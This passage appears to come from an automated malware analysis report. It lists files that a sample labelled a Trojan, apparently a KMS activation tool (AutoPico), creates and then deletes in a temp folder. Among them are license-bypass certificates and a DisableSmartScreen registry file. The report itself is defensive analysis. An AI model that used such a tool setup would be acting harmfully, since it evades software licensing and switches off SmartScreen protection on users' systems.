C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\affirmative.mp3 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\diagnostic.mp3 (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\pkeyconfig.xrm-ms (273 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\OpenVPN.cer (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputfailed.mp3 (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ppd.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-oob.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg32.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\UnInstallDriver.cmd (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg32.reg (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLRegWOW.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DisableSmartScreen.reg (698 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ppd.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg32.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\proplus.reg (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.reg (636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Pub.xrm-ms (5 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DevComponents.DotNetBar2.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-private.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL_OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\pkeyconfig.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\logs (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Remove_ScheduleTask.cmd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root-bridge-test.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-private.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\visio.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-private.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AutoPico.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\begin.mp3 (0 bytes)
